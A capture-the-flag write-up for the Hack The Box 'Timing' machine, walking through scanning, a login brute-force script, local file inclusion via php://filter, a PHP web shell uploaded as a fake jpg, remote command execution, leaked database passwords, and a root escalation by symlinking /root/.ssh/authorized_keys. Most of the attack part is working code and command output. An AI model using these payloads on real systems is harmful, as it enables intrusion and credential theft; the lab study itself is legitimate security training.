Post

HTB Timing Writeup

INFO

Machine IP = 10.10.11.135
OS = Linux
Level = MEDIUM
Points = 30

Write the IP of the machine to your /etc/hosts file

1
echo "x.x.x.x xxx.htb" >> /etc/hosts

SCANNING

- Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV -oA nmap/timing/result 10.10.11.135
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-17 14:43 EDT
Nmap scan report for 10.10.11.135
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)                                                                         
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)                                                                       
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))                                                                                     
|_http-server-header: Apache/2.4.29 (Ubuntu)                                                                                            
| http-title: Simple WebApp                                                                                                             
|_Requested resource was ./login.php                                                                                                    
| http-cookie-flags:                                                                                                                    
|   /:                                                                                                                                  
|     PHPSESSID:                                                                                                                        
|_      httponly flag not set                                                                                                           
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                 
                                                                                                                                        
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                          
Nmap done: 1 IP address (1 host up) scanned in 32.42 seconds 

ENUMERATION

- Ports:

1
2
3
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http          Apache httpd 2.4.29 ((Ubuntu))

Port: 80

A simple login page there’s a two scenario by brute-forcing this login page or pass this step with the next one but let’s play around brute-forcing login page through writing a python script.

This script do attack by username same as password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# ========================== #
url = 'http://10.10.11.135/login.php?login=true'
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0'}
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# Get users and passwords
UPL = open("/usr/share/wordlists/rockyou.txt", "r") # UserName and PassWord list
payload = {
    'user':'',
    'password':''
    }
for username in UPL:
    sleep(3)
    counter_value += 1
    # print(counter_value, '->', payload, end='\r')
    payload['user'] = username.strip('\n')
    payload['password'] = username.strip('\n')
    response = requests.request("POST", url, headers=headers, data=payload, verify=False)
    if not response.cookies:
        print(payload)
        break
    else:
        print(counter_value, end='\r')
# ========================== #

And after waiting we got UserName and PassWord (‘aa’, ‘aa’) (>‿◠)

This line if you want to use proxy

1
# response = requests.request("POST", url, headers=headers, data=payload, proxies=proxies, verify=False)

Or we can do same thing with Burp suite through send request to intruder then add positions, payloads and start attack.

But let’s try another thing.

- Gobuster:

Before we start with Gobuster let’s do it in our way by writing our special script :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ========================== #
from requests_toolbelt import threaded
# dir_list = open("/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", "r")
dir_list = open("/home/kali/Desktop/time/dirlist", "r")
url = 'http://10.10.11.135/'

for d in dir_list:
    sleep(2)
    counter_value += 1
    d = d.strip('\n')
    host = [{
        'url': url + d,
        'method': 'GET',
    }]
    responses, errors = threaded.map(host)

    for response in responses:
        if response.response.status_code != 404:
            print(host[0]['url'], response.response.status_code, response.response.url)
# ========================== #

And we got these results:

1
2
3
4
5
6
7
8
9
10
11
12
http://10.10.11.135/footer.php 200 http://10.10.11.135/footer.php
http://10.10.11.135/upload.php 200 http://10.10.11.135/login.php
http://10.10.11.135/css 403 http://10.10.11.135/css/
http://10.10.11.135/js 403 http://10.10.11.135/js/
http://10.10.11.135/logout.php 200 http://10.10.11.135/login.php
http://10.10.11.135/login.php 200 http://10.10.11.135/login.php
http://10.10.11.135/profile.php 200 http://10.10.11.135/login.php
http://10.10.11.135/image.php 200 http://10.10.11.135/image.php
http://10.10.11.135/header.php 200 http://10.10.11.135/login.php
http://10.10.11.135/images 403 http://10.10.11.135/images/
  ...

Hmm, all pages took as to login.php except [image.php, images] before continuing let’s do Gobuster.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gobuster dir -u http://10.10.11.135/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80 -x php  -o gobuster.log

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.135/
[+] Method:                  GET
[+] Threads:                 80
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/03/19 13:00:51 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/login.php            (Status: 200) [Size: 5609]               
/images               (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/image.php            (Status: 200) [Size: 0]                                    
/header.php           (Status: 302) [Size: 0] [--> ./login.php]                  
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]                  
/footer.php           (Status: 200) [Size: 3937]                                 
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]                  
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]   
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]    
/logout.php           (Status: 302) [Size: 0] [--> ./login.php] 
  ...

And we came up with the same results with our preview python script.

But the image.php don’t give any error or redirect. I think this page accept some parameters like GET or POST.

Let’s find the parameters with wfuzz or maybe write our script too :).

- wfuzz:

1
wfuzz -u http://10.10.11.135/image.php?FUZZ=/etc/passwd -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -t 50 --hh 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.135/image.php?FUZZ=/etc/passwd
Total requests: 2588

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                   
=====================================================================

000000360:   200        0 L      3 W        25 Ch       "img"                                                                                     

Total time: 20.44444
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 126.5869

So we see here the only parameter is [img] let’s check if it vulnerable with [LFI].

1
2
curl http://10.10.11.135/image.php?img=/etc/passwd
Hacking attempt detected! 

And it’s said hacking attempt detected!, Nice

Let’s try with PHP base64 filter to check the results if it’s the same or not.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-decoder/resource=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
                                              

and Bingo! we got the passwd file content

Note: we got aaron user inside /etc/passwd file the same user from our brute-forcing step.

By using LFI to check login.php source code

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=login.php | base64 -d

we can found there’s db_conn.php file

1
2
include "db_conn.php";

let’s check this file too with LFI

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=db_conn.php | base64 -d

here’s the results

1
2
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

But these information useless for login, Hmmm

Let’s move to another file like upload.php we got it earler from our script or Gobuster result.

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=upload.php | base64 -d

and here we got a new file:

1
2
<?php
include("admin_auth_check.php");
1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d
1
2
3
4
5
6
7
8
9
10
11
12
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>

It’s checking that if our session role id is equal to 1 or not if not it’s redirect to index.php.

And I tried aaron user with login page it’s worked. but it’s said user 2 but we need our role id = 1 for that we need to find a way let’s check the edit profile tab.

Okay, Let’s check the source code of profile.php with that LFI.

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile.php | base64 -d

this line looks like another key

1
<script src="js/profile.js"></script>
1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=js/profile.js | base64 -d
1
2
3
4
5
6
7
8
9
10
11
12
13
function updateProfile() {
    var xml = new XMLHttpRequest();
    xml.onreadystatechange = function () {
        if (xml.readyState == 4 && xml.status == 200) {
            document.getElementById("alert-profile-update").style.display = "block"
        }
    };

    xml.open("POST", "profile_update.php", true);
    xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}

So profile.php sending the form data to profile_update.php.

1
curl http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

include "auth_check.php";

$error = "";

if (empty($_POST['firstName'])) {
    $error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
    $error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
    $error = 'Email is required.';
} else if (empty($_POST['company'])) {
    $error = 'Company is required.';
}

if (!empty($error)) {
    die("Error updating profile, reason: " . $error);
} else {

    include "db_conn.php";

    $id = $_SESSION['userid'];
    $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
    $result = $statement->execute(array('id' => $id));
    $user = $statement->fetch();

    if ($user !== false) {

        ini_set('display_errors', '1');
        ini_set('display_startup_errors', '1');
        error_reporting(E_ALL);

        $firstName = $_POST['firstName'];
        $lastName = $_POST['lastName'];
        $email = $_POST['email'];
        $company = $_POST['company'];
        $role = $user['role'];

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;
        }


        // dont persist role
        $sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";

        $stmt = $pdo->prepare($sql);
        $stmt->execute();

        $statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
        $result = $statement->execute(array('id' => $id));
        $user = $statement->fetch();

        // but return it to avoid confusion
        $user['role'] = $role;
        $user['6'] = $role;

        echo json_encode($user, JSON_PRETTY_PRINT);

    } else {
        echo "No user with this id was found.";
    }

}

?>

By checking the profile_update.php file, if we set role=1 in the profile update form. it’s set the session role id=1.

Time to write our tools: at first let’s write image url genartor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python3

import hashlib
import os
import time
import requests

def main():
    # we can upload avatar image, By checking the source code of upload.php:
    # 1. it checks if it is jpg or not
    # 2. it creates a file name with an md5 hash
    # 3. inside the md5 function it's using $file_hash which is interpreted as a string because it's using a single cot rather than a double cot you can read about that more in the article
    # 4. but the time function returns dynamic value
    # 5. and then the file_name

	# ❯ php -a
	# Interactive mode enabled

	# php > while(true){echo date("G:i:s"); echo " = "; echo md5('$file_hash' . time()); echo "\n";
	# sleep(1);}

    OUTPUT_DIR = os.path.dirname(os.path.abspath(__file__))
    url = 'http://localhost'

    # f = open(os.path.join(OUTPUT_DIR, 'backdoor.jpg'),"rb")
    # bytes = f.read() # read entire file as bytes
    # readable_hash = hashlib.sha256(bytes).hexdigest()
    # print(readable_hash)

    while True:
        hash = f"{hashlib.md5('$file_hash'.encode()+str(int(time.time())).encode()).hexdigest()}"
        r = requests.get(f'{url}/image.php?img=images/uploads/{hash}_pp.jpg&cmd=id').text
        if len(r) > 0:
            print(hash)
            print(r)
            break
        time.sleep(1)


if __name__ == '__main__':
    main()

and keep it runnug while we going to run this one for uploud the file please follow comment to understad what’s going on

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#!/usr/bin/python3

import os
from time import sleep
import requests

def main():
    url = 'http://localhost/login.php?login=true'
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',
        'Content-type': 'application/x-www-form-urlencoded',
        }
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    payload = {
        'user':'aaron',
        'password':'aaron'
        }

    session = requests.session()
    session.request("POST", url, headers=headers, data=payload, verify=False) # add proxies=proxies if you using proxy
    cookie = {'PHPSESSID': requests.utils.dict_from_cookiejar(session.cookies)['PHPSESSID']}
    # print(cookie)

    # to print the HTML page content and the importent part is:
    # <ul class="nav navbar-nav">
    #     <li><a href="index.php">Home</a></li>
    #     <li class=""><a href="profile.php">Edit profile</a></li>
    # </ul>

    # purl = 'http://localhost/profile.php'
    # response = session.request("GET", purl, headers=headers, verify=False)
    # print(response.text)
    # to print the HTML page content to get this form:
            #     <form class="form-horizontal" role="form" id="editForm" action="#" method="POST">
            # <div class="form-group">
            #     <label class="col-lg-3 control-label">First name:</label>
            #     <div class="col-lg-8">
            #         <input class="form-control" type="text" name="firstName" id="firstName"
            #                value="ireally">
            #     </div>
            # </div>
            # <div class="form-group">
            #     <label class="col-lg-3 control-label">Last name:</label>
            #     <div class="col-lg-8">
            #         <input class="form-control" type="text" name="lastName" id="lastName"
            #                value="dontunderstand">
            #     </div>
            # </div>
            # <div class="form-group">
            #     <label class="col-lg-3 control-label">Company:</label>
            #     <div class="col-lg-8">
            #         <input class="form-control" type="text" name="company" id="company"
            #                value="almostnoghingtest">
            #     </div>
            # </div>
            # <div class="form-group">
            #     <label class="col-lg-3 control-label">Email:</label>
            #     <div class="col-lg-8">
            #         <input class="form-control" type="text" name="email" id="email"
            #                value="testmymail">
            #     </div>
            # </div>

    #Create a new custome payload to change the role=1

    data = {
        'firstName':'admin',
        'lastName':'admin',
        'email':'admin',
        'company':'admin',
        'role':1,
        }
    # data = 'firstName=admin&lastName=admin&email=admin&company=admin&role=1'
    url = 'http://localhost/profile_update.php'
    session.post(url, headers = headers, data=data, verify=False, allow_redirects=True) # add proxies=proxies if you using proxy
    response = session.get('http://localhost/profile.php', headers=headers, verify=False)
    # print(response.text)
    # here we got a new link named Admin panel
    # <ul class="nav navbar-nav">
    #     <li><a href="index.php">Home</a></li>
    #     <li class=""><a href="profile.php">Edit profile</a></li>
    #     <li><a href="avatar_uploader.php">Admin panel</a></li>
    # </ul>

    # we can upload avatar image, By checking the source code of upload.php:
    # 1. it checks if it is jpg or not
    # 2. it creates a file name with an md5 hash
    # 3. inside the md5 function it's using $file_hash which is interpreted as a string because it's using a single cot rather than a double cot you can read about that more in the article
    # 4. but the time function returns dynamic value
    # 5. and then the file_name

    # Create a jpg file that has PHP code inside that.
    OUTPUT_DIR = os.path.dirname(os.path.abspath(__file__))
    jpg_file = open(os.path.join(OUTPUT_DIR, 'backdoor.jpg'), 'w')
    jpg_file.write("jpg89a; <?php system($_GET['cmd']); ?>")
    jpg_file.close()
    

    url = 'http://localhost/upload.php'

    # Uploud the jpg file
    with open(os.path.join(OUTPUT_DIR, "backdoor.jpg"), 'rb') as img:
        name_img= os.path.basename("backdoor.jpg")
        files= {'fileToUpload': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
        r = session.post(url, files=files)
        print(r.text)

if __name__ == '__main__':
    main()

As I said I wrote some explanation in comment inside the script, then we got our picture uploaded with name 42723189e466277a63b6e2d7076de2e5_pp

and from our python script we got the RCE as shown below:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Desktop/time]
└─$ /bin/python3.10 /home/kali/Desktop/time/img_url.py

...

curl 'http://10.10.11.135/image.php?img=images/uploads/024cbc1d39c970484d4a6ded14b0dc19_pp.jpg&cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

...

Now let’s run ls command

1
curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=ls'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/time]
└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=id'curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=ls'

admin_auth_check.php
auth_check.php
avatar_uploader.php
css
db_conn.php
footer.php
header.php
image.php
images
index.php
js
login.php
logout.php
profile.php
profile_update.php
upload.php

After a few search we found:

1
2
3
4
┌──(kali㉿kali)-[~/Desktop/time]
└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=id'curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=ls+/opt/'

source-files-backup.zip

let’s copy it to /var/www/html

1
2
┌──(kali㉿kali)-[~/Desktop/time]
└─$ curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=id'curl 'http://10.10.11.135/image.php?img=images/uploads/42723189e466277a63b6e2d7076de2e5_pp.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html'

and download and unzip

1
unzip source-files-backup.zip 

we got a the same password insid db_conn.php with LFI

1
2
3
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');

we see there .git directory let’s dump all commits in the background. with this tool we going to dump all commits

1
https://github.com/internetwache/GitTools
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
┌──(kali㉿kali)-[~/Downloads/backup]
└─$ ./GitTools/Extractor/extractor.sh . .

###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[+] Found commit: 16de2698b5b122c93461298eab730d00273bd83e
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/admin_auth_check.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/auth_check.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/avatar_uploader.php
[+] Found folder: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/css
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/css/bootstrap.min.css
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/css/login.css
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/footer.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/header.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/image.php
[+] Found folder: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/images
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/images/background.jpg
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/images/user-icon.png
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/index.php
[+] Found folder: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/js
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/js/avatar_uploader.js
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/js/bootstrap.min.js
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/js/jquery.min.js
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/js/profile.js
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/login.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/logout.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/profile.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/profile_update.php
[+] Found file: /home/kali/Downloads/backup/./0-16de2698b5b122c93461298eab730d00273bd83e/upload.php
[+] Found commit: e4e214696159a25c69812571c8214d2bf8736a3f
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/admin_auth_check.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/auth_check.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/avatar_uploader.php
[+] Found folder: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/css
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/css/bootstrap.min.css
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/css/login.css
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/footer.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/header.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/image.php
[+] Found folder: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/images
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/images/background.jpg
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/images/user-icon.png
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/index.php
[+] Found folder: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/js
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/js/avatar_uploader.js
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/js/bootstrap.min.js
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/js/jquery.min.js
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/js/profile.js
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/login.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/logout.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/profile.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/profile_update.php
[+] Found file: /home/kali/Downloads/backup/./1-e4e214696159a25c69812571c8214d2bf8736a3f/upload.php

USER FLAG

- Privilege Escalation [User]

A new password found by ssh aaron with this password we get access:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Downloads/backup]
└─$ cat 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php && cat 1-e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php 
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');

1
2
aaron@timing:~$ cat user.txt
aaa6...7b06

ROOT FLAG

- Privilege Escalation [Root]

I found we can run netutils as root also it exits inside /root/ folder so we can’t view that.

1
2
3
4
5
6
7
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.11.135/image.php?img=images/background.jpg
Initializing download: http://10.10.11.135/image.php?img=images/background.jpg
File size: unavailable
Opening output file image.php
Server unsupported, starting from scratch with one connection.
Starting download

[ N/A]  .......... .......... .......... .......... ..........  [ 543.9KB/s]
[ N/A]  .......... .......... .......... .......... ..........  [1039.6KB/s]
[ N/A]  .......... .......... .......... .......... ..........  [1522.1KB/s]
[ N/A]  .......... .......... .......... .......... ..........  [1980.6KB/s]
[ N/A]  ...
Connection 0 finished

Downloaded 203.4 Kilobyte in 0 seconds. (1980.56 KB/s)

aaron@timing:~$ ls -li
total 208
21220 -rw-r--r-- 1 root root  208312 Apr  8 15:41 image.php
59940 -rw-r----- 1 root aaron     33 Apr  8 04:58 user.txt

and it’s download files in aaron home with root permission.

with create a symlink of /root/.ssh/authorized_keys with keys so when we get the file with same name it’s overwrite the content of authorized_keys.

1
aaron@timing:~$ ln -s /root/.ssh/authorized_keys keys
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Downloads/backup]
└─$ cd  /home/kali/.ssh/
                                                                                                                                           
┌──(kali㉿kali)-[~/.ssh]
└─$ python3 -m http.server 80                 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
──(kali㉿kali)-[~/.ssh]
└─$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Apr  8 15:55:42 UTC 2022

  System load:  0.04              Processes:           181
  Usage of /:   52.0% of 4.85GB   Users logged in:     1
  Memory usage: 22%               IP address for eth0: 10.10.11.135
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

